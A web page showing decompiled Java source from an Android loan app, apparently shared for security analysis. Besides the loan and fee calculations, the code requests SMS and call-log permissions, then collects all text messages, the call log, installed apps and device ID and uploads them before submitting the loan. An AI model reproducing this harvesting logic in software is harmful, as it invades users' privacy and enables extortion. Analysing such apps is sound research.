正在查看: 鲸鱼借条 v4.1.2 应用的 MT0Act.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 鲸鱼借条 v4.1.2 应用的 MT0Act.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.yuxianghua.ui.activitys;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import butterknife.BindView;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.RegexUtil;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.views.TitleLayout;
import com.bigkoo.pickerview.builder.OptionsPickerBuilder;
import com.bigkoo.pickerview.listener.OnOptionsSelectListener;
import com.bigkoo.pickerview.view.OptionsPickerView;
import com.google.gson.Gson;
import com.yuxianghua.gzd.ContactsGetUtil;
import com.yuxianghua.mjyp.app.api.Api;
import com.yuxianghua.mjyp.app.api.Api2;
import com.yuxianghua.mjyp.app.api.AppConfig;
import com.yuxianghua.mjyp.app.base.BaseBindActivity;
import com.yuxianghua.mjyp.app.base.RxSubscriber;
import com.yuxianghua.ui.bean.ApplyBean;
import com.yuxianghua.ui.bean.BorrowOrderForm;
import com.yuxianghua.ui.bean.CalculateBean;
import com.yuxianghua.ui.bean.DevSmsBean;
import com.yuxianghua.ui.bean.EncForm;
import com.yuxianghua.ui.bean.HomeAmountBean;
import com.yuxianghua.ui.bean.MyInfoBean;
import com.yuxianghua.ui.bean.RegBean;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
import yhgjgdf.ijnhjfyd.ikbujfjfnjkif.R;
public class MT0Act extends BaseBindActivity {
@BindView(R.id.all_money)
TextView allMoney;
ApplyBean applyBean;
private String bankName;
private String bankNum;
@BindView(R.id.btn_ok)
TextView btnOk;
private CalculateBean calculateBean;
@BindView(R.id.card_num)
TextView cardNum;
@BindView(R.id.day_num)
TextView dayNum;
@BindView(R.id.fees)
TextView fees;
@BindView(R.id.fengkong_fees)
TextView fengkongFees;
@BindView(R.id.fengkong_read_fees)
TextView fengkongReadFees;
@BindView(R.id.get_money)
TextView getMoney;
@BindView(R.id.info_fees)
TextView infoFees;
@BindView(R.id.lix)
TextView lix;
@BindView(R.id.lix2)
TextView lix2;
@BindView(R.id.lixi)
TextView lixi;
@BindView(R.id.lixi2)
TextView lixi2;
@BindView(R.id.ll_selector_amount)
LinearLayout llSelectorAmount;
private String loanPeriod;
private BigDecimal ownActualMoney;
private OptionsPickerView<String> pvOptions;
@BindView(R.id.rl_card)
RelativeLayout rlCard;
@BindView(R.id.rl_fees)
RelativeLayout rlFees;
@BindView(R.id.rl_fengkong_fees)
RelativeLayout rlFengkongFees;
@BindView(R.id.rl_fengkong_read_fees)
RelativeLayout rlFengkongReadFees;
@BindView(R.id.rl_get_money)
RelativeLayout rlGetMoney;
@BindView(R.id.rl_info_fees)
RelativeLayout rlInfoFees;
@BindView(R.id.rl_lix2)
RelativeLayout rlLix2;
@BindView(R.id.rl_lixi)
RelativeLayout rlLixi;
@BindView(R.id.tip_all)
TextView tipAll;
@BindView(R.id.title)
TitleLayout title;
@BindView(R.id.tv_amount)
TextView tvAmount;
@BindView(R.id.tv_days)
TextView tvDays;
@BindView(R.id.tv_tixian_tip)
TextView tv_tixian_tip;
private List<String> moneys = new ArrayList();
private int loanType = 1;
private String enfLoanFlag = "0";
private List<String> showmoneys = new ArrayList();
private String sjamount = "0";
private String period = "7";
private String amount = "1000";
int repLoanFlag = 0;
@Override
protected boolean canLoadMore() {
return false;
}
@Override
public int getLayoutId() {
return R.layout.act_applys;
}
@Override
protected void loadMore() {
}
@Override
protected void refresh() {
}
@Override
public void initPresenter() {
if (getIntent() == null) {
this.period = "7";
this.amount = "1000";
} else if (getIntent().getStringExtra("period") == null || getIntent().getStringExtra("amount") == null) {
this.period = "7";
this.amount = "1000";
} else {
this.period = getIntent().getStringExtra("period");
this.amount = getIntent().getStringExtra("amount");
}
}
@Override
public void initView(Bundle bundle) {
apply();
this.llSelectorAmount.setOnClickListener(new View.OnClickListener() {
@Override
public final void onClick(View view) {
MT0Act.this.lambda$initView$0$MT0Act(view);
}
});
this.btnOk.setOnClickListener(new View.OnClickListener() {
@Override
public final void onClick(View view) {
MT0Act.this.lambda$initView$1$MT0Act(view);
}
});
getTip();
}
public void lambda$initView$0$MT0Act(View view) {
if (this.moneys.size() > 0) {
showPickerView();
} else {
apply();
}
}
public void lambda$initView$1$MT0Act(View view) {
if (!this.getMoney.getText().toString().equals("0.00")) {
if (this.calculateBean != null) {
permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
@Override
public void onPermissionFaild() {
}
@Override
public void onPermissionSuccess() {
SPUtils.putData(AppConfig.latitude, "中国");
SPUtils.putData(AppConfig.longitude, "中国");
if (TextUtils.isEmpty("")) {
SPUtils.putData(AppConfig.address, "中国");
} else {
SPUtils.putData(AppConfig.address, "");
}
MT0Act.this.getDevSmsBean();
}
});
return;
} else {
apply();
return;
}
}
showShortToast(R.string.pls_choose_money);
}
public void getTip() {
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, false) {
@Override
protected void _onError(String str) {
}
@Override
public void _onNext(HomeAmountBean homeAmountBean) {
String content = homeAmountBean.getContent();
if (TextUtils.isEmpty(content) || MT0Act.this.tv_tixian_tip == null) {
return;
}
MT0Act.this.tv_tixian_tip.setText(content);
}
}));
}
private void showPickerView() {
if (this.pvOptions == null) {
OptionsPickerView<String> build = new OptionsPickerBuilder(this.mContext, new OnOptionsSelectListener() {
@Override
public final void onOptionsSelect(int i, int i2, int i3, View view) {
MT0Act.this.lambda$showPickerView$2$MT0Act(i, i2, i3, view);
}
}).setTitleSize(15).setTitleBgColor(ContextCompat.getColor(this.mContext, R.color.white)).setSubmitColor(ContextCompat.getColor(this.mContext, R.color.colorAccent)).setCancelColor(ContextCompat.getColor(this.mContext, R.color.tip)).setTitleText(getString(R.string.choose_money)).setDividerColor(ContextCompat.getColor(this.mContext, R.color.line)).setTextColorCenter(ContextCompat.getColor(this.mContext, R.color.colorAccent)).setContentTextSize(20).build();
this.pvOptions = build;
build.setPicker(this.showmoneys);
}
this.pvOptions.show();
}
public void lambda$showPickerView$2$MT0Act(int i, int i2, int i3, View view) {
this.getMoney.setText(this.showmoneys.get(i));
this.tvAmount.setText(this.showmoneys.get(i));
this.allMoney.setText(this.showmoneys.get(i));
this.sjamount = this.moneys.get(i);
getConfigForCharge();
}
protected void borrowOrder() {
String str = (String) SPUtils.getData(AppConfig.address, "中国");
String json = new Gson().toJson(new BorrowOrderForm("0", this.enfLoanFlag, this.bankName, Integer.valueOf(Integer.parseInt(this.loanPeriod)), this.sjamount.replace(getString(R.string.money_fh), ""), this.bankNum, str, (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
long currentTimeMillis = System.currentTimeMillis();
String uuid = UUID.randomUUID().toString();
String str2 = json + "@" + uuid + "@" + currentTimeMillis;
String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, AppConfig.md5key));
StringBuilder sb = new StringBuilder();
sb.append(currentTimeMillis);
sb.append("");
this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
@Override
public void _onNext(RegBean regBean) {
if (regBean != null) {
String record = regBean.getRecord();
Bundle bundle = new Bundle();
bundle.putString(AppConfig.ORDERID, record);
MT0Act.this.startActivity(N0ACT.class, bundle);
MT0Act.this.finish();
return;
}
MT0Act mT0Act = MT0Act.this;
mT0Act.showShortToast(mT0Act.getResources().getString(R.string.server_error));
}
@Override
protected void _onError(String str3) {
Bundle bundle = new Bundle();
bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
MT0Act.this.startActivity(N0ACT.class, bundle);
}
}));
}
protected void apply() {
getConfigForAmount();
}
public void setViewShow() {
BigDecimal rate = this.applyBean.getRate();
BigDecimal serviceCharge = this.applyBean.getServiceCharge();
BigDecimal creditCer = this.applyBean.getCreditCer();
BigDecimal riskMan = this.applyBean.getRiskMan();
BigDecimal riskPre = this.applyBean.getRiskPre();
if (rate.compareTo(BigDecimal.ZERO) == 0) {
this.rlLixi.setVisibility(8);
} else if (this.loanType != 2) {
this.rlLixi.setVisibility(0);
}
if (serviceCharge.compareTo(BigDecimal.ZERO) == 0) {
this.rlFees.setVisibility(8);
} else {
this.rlFees.setVisibility(0);
}
if (creditCer.compareTo(BigDecimal.ZERO) == 0) {
this.rlInfoFees.setVisibility(8);
} else {
this.rlInfoFees.setVisibility(0);
}
if (riskMan.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongFees.setVisibility(8);
} else {
this.rlFengkongFees.setVisibility(0);
}
if (riskPre.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongReadFees.setVisibility(8);
} else {
this.rlFengkongReadFees.setVisibility(0);
}
}
protected void getConfigForCharge() {
String replace;
if (this.applyBean != null && !RegexUtil.isEmpty(this.sjamount)) {
if (this.repLoanFlag == 0) {
replace = this.amount;
} else {
replace = this.sjamount.replace(getString(R.string.money_fh), "");
}
BigDecimal bigDecimal = new BigDecimal(replace);
BigDecimal scale = this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale2 = this.applyBean.getServiceCharge().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale3 = this.applyBean.getCreditCer().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale4 = this.applyBean.getRiskMan().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale5 = this.applyBean.getRiskPre().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal add = scale.add(scale2).add(scale3).add(scale4).add(scale5);
int i = this.loanType;
if (i == 2) {
add = scale2.add(scale3).add(scale4).add(scale5);
} else if (i == 3) {
add = bigDecimal.add(scale).add(scale2).add(scale3).add(scale4).add(scale5);
}
this.calculateBean = new CalculateBean(bigDecimal, scale, scale2, scale3, scale4, scale5, add);
if (scale.compareTo(BigDecimal.ZERO) == 0) {
this.rlLixi.setVisibility(8);
} else if (this.loanType != 2) {
this.rlLixi.setVisibility(0);
}
if (scale2.compareTo(BigDecimal.ZERO) == 0) {
this.rlFees.setVisibility(8);
} else {
this.rlFees.setVisibility(0);
}
if (scale3.compareTo(BigDecimal.ZERO) == 0) {
this.rlInfoFees.setVisibility(8);
} else {
this.rlInfoFees.setVisibility(0);
}
if (scale4.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongFees.setVisibility(8);
} else {
this.rlFengkongFees.setVisibility(0);
}
if (scale5.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongReadFees.setVisibility(8);
} else {
this.rlFengkongReadFees.setVisibility(0);
}
this.lixi.setText(getString(R.string.money_fh) + scale + "");
this.fees.setText(getString(R.string.money_fh) + scale2 + "");
this.infoFees.setText(getString(R.string.money_fh) + scale3 + "");
this.fengkongFees.setText(getString(R.string.money_fh) + scale4 + "");
this.fengkongReadFees.setText(getString(R.string.money_fh) + scale5 + "");
return;
}
apply();
}
@Override
protected void onDestroy() {
super.onDestroy();
}
public void update(DevSmsBean devSmsBean) {
this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true, false) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
MT0Act.this.borrowOrder();
} else {
MT0Act.this.showShortToast(baseResult.getMessage());
}
}
@Override
protected void _onError(String str) {
MT0Act.this.showShortToast(str);
}
}));
}
public void getDevSmsBean() {
startProgressDialog();
this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
@Override
public final void call(Object obj) {
MT0Act.this.lambda$getDevSmsBean$3$MT0Act((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
@Override
public void onCompleted() {
MT0Act.this.stopProgressDialog();
}
@Override
public void onError(Throwable th) {
MT0Act.this.stopProgressDialog();
}
@Override
public void onNext(DevSmsBean devSmsBean) {
MT0Act.this.update(devSmsBean);
}
}));
}
public void lambda$getDevSmsBean$3$MT0Act(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
devSmsBean.setSmsList(smsInPhone);
List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
String deviceID = ApplicationUtil.getDeviceID(this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
private void getBaseInfo(boolean z) {
this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<MyInfoBean>(this.mContext, z) {
@Override
public void _onNext(MyInfoBean myInfoBean) {
myInfoBean.getLoanCount();
}
@Override
protected void _onError(String str) {
MT0Act.this.showErrorTip(str);
}
}));
}
public void getConfigForAmount() {
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, true) {
@Override
protected void _onError(String str) {
}
@Override
public void _onNext(HomeAmountBean homeAmountBean) {
if (homeAmountBean != null) {
MT0Act.this.repLoanFlag = homeAmountBean.getRepLoanFlag().intValue();
MT0Act.this.getApplyAfterConfig();
}
}
}));
}
public void getApplyAfterConfig() {
this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
@Override
public void _onNext(ApplyBean applyBean) {
if (applyBean != null) {
MT0Act.this.applyBean = applyBean;
MT0Act.this.loanType = applyBean.getLoanType() == null ? 1 : applyBean.getLoanType().intValue();
int i = MT0Act.this.loanType;
if (i == 1) {
MT0Act.this.rlLixi.setVisibility(0);
MT0Act.this.rlLix2.setVisibility(8);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.due_shuld_also));
} else if (i == 2) {
MT0Act.this.rlLix2.setVisibility(0);
MT0Act.this.rlLixi.setVisibility(8);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.cash_total));
} else if (i == 3) {
MT0Act.this.rlLix2.setVisibility(8);
MT0Act.this.rlLixi.setVisibility(0);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.due_shuld_also));
}
List<BigDecimal> amountList = applyBean.getAmountList();
MT0Act.this.moneys.clear();
MT0Act.this.showmoneys.clear();
if (MT0Act.this.repLoanFlag != 0) {
Collections.sort(amountList, Collections.reverseOrder(new Comparator() {
@Override
public final int compare(Object obj, Object obj2) {
return ((BigDecimal) obj).compareTo((BigDecimal) obj2);
}
}));
}
for (int i2 = 0; i2 < amountList.size(); i2++) {
BigDecimal bigDecimal = amountList.get(i2);
MT0Act.this.moneys.add(MT0Act.this.getString(R.string.money_fh) + bigDecimal);
BigDecimal add = MT0Act.this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN).add(bigDecimal);
MT0Act.this.ownActualMoney = add;
MT0Act.this.showmoneys.add(MT0Act.this.getString(R.string.money_fh) + add);
}
BigDecimal bigDecimal2 = amountList.get(0);
BigDecimal scale = MT0Act.this.applyBean.getRate().multiply(bigDecimal2).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
MT0Act.this.tvAmount.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
MT0Act.this.getMoney.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
MT0Act.this.lixi.setText(MT0Act.this.getString(R.string.money_fh) + scale);
MT0Act.this.allMoney.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
MT0Act.this.bankName = applyBean.getBankName();
MT0Act.this.bankNum = applyBean.getBankNum();
if (MT0Act.this.bankNum != null && MT0Act.this.bankNum.length() > 4) {
MT0Act.this.cardNum.setText(MT0Act.this.bankName + MT0Act.this.getString(R.string.bank_last) + MT0Act.this.bankNum.substring(MT0Act.this.bankNum.length() - 4));
}
MT0Act.this.loanPeriod = applyBean.getLoanPeriod();
MT0Act.this.dayNum.setText(MT0Act.this.loanPeriod + MT0Act.this.getString(R.string.day));
MT0Act.this.setViewShow();
MT0Act.this.getMoney.setText(((String) MT0Act.this.showmoneys.get(0)) + "");
MT0Act.this.sjamount = ((String) MT0Act.this.moneys.get(0)) + "";
}
}
@Override
protected void _onError(String str) {
MT0Act.this.showShortToast(str);
}
}));
}
}